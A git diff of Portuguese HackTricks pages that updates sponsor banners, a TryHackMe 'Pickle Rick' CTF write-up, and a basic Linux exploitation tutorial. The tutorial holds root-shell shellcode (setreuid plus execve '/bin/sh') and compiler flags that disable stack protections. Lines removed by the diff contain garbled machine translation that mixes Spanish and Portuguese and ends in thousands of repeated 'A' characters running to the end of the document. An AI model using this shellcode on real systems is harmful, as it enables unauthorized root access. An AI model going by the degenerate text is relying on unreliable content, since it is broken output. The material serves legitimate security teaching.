-* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/ctf-write-ups/try-hack-me/pickle-rick.md b/ctf-write-ups/try-hack-me/pickle-rick.md
index a64351c1e..522031305 100644
--- a/ctf-write-ups/try-hack-me/pickle-rick.md
+++ b/ctf-write-ups/try-hack-me/pickle-rick.md
@@ -4,19 +4,21 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
![](../../.gitbook/assets/picklerick.gif)
-Esta máquina foi categorizada como fácil e foi bastante fácil.
+Esta máquina foi categorizada como fácil e realmente foi bastante fácil.
## Enumeração
@@ -26,19 +28,19 @@ Comecei **enumerando a máquina usando minha ferramenta** [**Legion**](https://g
Como você pode ver, 2 portas estão abertas: 80 (**HTTP**) e 22 (**SSH**)
-Então, executei o legion para enumerar o serviço HTTP:
+Então, lancei o legion para enumerar o serviço HTTP:
![](<../../.gitbook/assets/image (234).png>)
-Observe que na imagem você pode ver que `robots.txt` contém a string `Wubbalubbadubdub`
+Note que na imagem você pode ver que `robots.txt` contém a string `Wubbalubbadubdub`
-Depois de alguns segundos, revisei o que o `disearch` já descobriu:
+Após alguns segundos, revisei o que o `disearch` já havia descoberto:
![](<../../.gitbook/assets/image (235).png>)
![](<../../.gitbook/assets/image (236).png>)
-E, como você pode ver na última imagem, uma **página de login** foi descoberta.
+E como você pode ver na última imagem, uma página de **login** foi descoberta.
Verificando o código-fonte da página raiz, um nome de usuário é descoberto: `R1ckRul3s`
@@ -48,7 +50,7 @@ Portanto, você pode fazer login na página de login usando as credenciais `R1ck
## Usuário
-Usando essas credenciais, você acessará um portal onde poderá executar comandos:
+Usando essas credenciais, você terá acesso a um portal onde pode executar comandos:
![](<../../.gitbook/assets/image (241).png>)
@@ -76,12 +78,14 @@ O usuário **www-data pode executar qualquer coisa como sudo**:
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/exploiting/linux-exploiting-basic-esp/README.md b/exploiting/linux-exploiting-basic-esp/README.md
index 274bf263b..7899cc2aa 100644
--- a/exploiting/linux-exploiting-basic-esp/README.md
+++ b/exploiting/linux-exploiting-basic-esp/README.md
@@ -1,16 +1,18 @@
-# Linux Exploiting (Básico) (SPA)
+# Linux Exploração (Básica) (SPA)
-## Linux Exploiting (Básico) (SPA)
+## Linux Exploração (Básica) (SPA)
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
@@ -29,7 +31,7 @@ setarch \`uname -m\` -R ./exemplo argumentos
**Desativar proteção de execução na pilha**\
gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack exemplo.c -o exemplo
-**Arquivo core**\
+**Arquivo Core**\
ulimit -c unlimited\
gdb /exec arquivo\_core\
/etc/security/limits.conf -> \* soft core unlimited
@@ -46,26 +48,22 @@ gdb /exec arquivo\_core\
static int i;
```
**Seção DATA**: Variáveis globais ou estáticas inicializadas
-
-Nesta seção, discutiremos sobre as variáveis globais ou estáticas inicializadas. Essas variáveis são armazenadas na seção de dados do programa e são inicializadas com valores específicos.
-
-As variáveis globais são declaradas fora de qualquer função e podem ser acessadas por todas as funções do programa. Elas são inicializadas automaticamente com valores padrão, como zero para variáveis numéricas e NULL para ponteiros.
-
-As variáveis estáticas também são declaradas fora de qualquer função, mas têm um escopo limitado à função em que são definidas. Elas mantêm seu valor entre chamadas de função e são inicializadas apenas uma vez, na primeira chamada da função.
-
-A exploração de variáveis globais ou estáticas inicializadas pode ser útil em certos cenários de hacking, como a obtenção de informações sensíveis armazenadas nessas variáveis ou a modificação de seu valor para obter um comportamento indesejado do programa.
-
-No entanto, é importante ressaltar que a exploração de variáveis globais ou estáticas inicializadas é uma atividade ilegal e antiética, e deve ser realizada apenas em um ambiente controlado e com permissão adequada.
```
int i = 5;
```
-## **1. DESBORDAMIENTO DE PILA**
+**Seção TEXT**: Instruções do código (opcodes)
-> desbordamiento de búfer, desbordamiento de pila, desbordamiento de pila, aplastamiento de pila
+**Seção HEAP**: Buffers reservados de forma dinâmica (malloc(), calloc(), realloc())
-Violación de segmento: cuando se intenta acceder a una dirección de memoria que no ha sido asignada al proceso.
+**Seção STACK**: A pilha (Argumentos passados, cadeias de ambiente (env), variáveis locais…)
-Para obtener la dirección de una función dentro de un programa, se puede hacer lo siguiente:
+## **1. STACK OVERFLOWS**
+
+> buffer overflow, buffer overrun, stack overrun, stack smashing
+
+Falha de segmentação ou violação de segmento: Quando se tenta acessar um endereço de memória que não foi atribuído ao processo.
+
+Para obter o endereço de uma função dentro de um programa, pode-se fazer:
```
objdump -d ./PROGRAMA | grep FUNCION
```
@@ -85,14 +83,14 @@ setreuid(0,0); // \_\_NR\_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
exit(0); // \_\_NR\_exit 1
-xor eax, eax ; limpamos eax\
-xor ebx, ebx ; ebx = 0 pois não há argumento para passar\
+xor eax, eax ; zeramos eax\
+xor ebx, ebx ; ebx = 0 pois não há argumento a passar\
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
int 0x80 ; Executar syscall
-**nasm -f elf assembly.asm** —> Retorna um .o\
-**ld assembly.o -o shellcodeout** —> Gera um executável composto pelo código assembly e podemos obter os opcodes com **objdump**\
-**objdump -d -Mintel ./shellcodeout** —> Para verificar se é realmente nosso shellcode e obter os OpCodes
+**nasm -f elf assembly.asm** —> Retorna um arquivo .o\
+**ld assembly.o -o shellcodeout** —> Gera um executável a partir do código assembly e podemos extrair os opcodes com **objdump**\
+**objdump -d -Mintel ./shellcodeout** —> Para verificar que é realmente nosso shellcode e extrair os OpCodes
**Verificar se o shellcode funciona**
```
@@ -104,9 +102,9 @@ fp = (void *)shellcode;
fp();
}
```
-Para verificar se as chamadas do sistema estão sendo feitas corretamente, compile o programa anterior e as chamadas do sistema devem aparecer em **strace ./PROGRAMA_COMPILADO**
+Para verificar se as chamadas de sistema são feitas corretamente, deve-se compilar o programa anterior e as chamadas de sistema devem aparecer em **strace ./PROGRAMA\_COMPILADO**
-Ao criar shellcodes, você pode usar um truque. A primeira instrução é um salto para uma chamada. A chamada chama o código original e também coloca o EIP na pilha. Após a instrução de chamada, inserimos a string necessária, para que possamos apontar para a string com esse EIP e continuar executando o código.
+Ao criar shellcodes, pode-se usar um truque. A primeira instrução é um salto para um call. O call chama o código original e também coloca o EIP na pilha. Após a instrução call, inserimos a string que precisávamos, então com esse EIP podemos apontar para a string e também continuar executando o código.
EX **TRUQUE (/bin/sh)**:
```
@@ -128,25 +126,7 @@ int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar
```
-**Usando o Stack (/bin/sh):**
-
-O objetivo deste exercício é explorar uma vulnerabilidade de estouro de buffer em um programa para obter acesso ao shell (/bin/sh) do sistema.
-
-1. Compilando o código de exemplo:
- ```
- $ gcc -o vuln vuln.c
- ```
-
-2. Execute o programa compilado:
- ```
- $ ./vuln
- ```
-
-3. Observe que o programa solicita uma entrada do usuário. Digite qualquer coisa para continuar.
-
-4. Agora, vamos explorar a vulnerabilidade de estouro de buffer. Digite uma entrada que seja maior do que o tamanho do buffer alocado pelo programa. Por exemplo:
- ```
- $ ./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA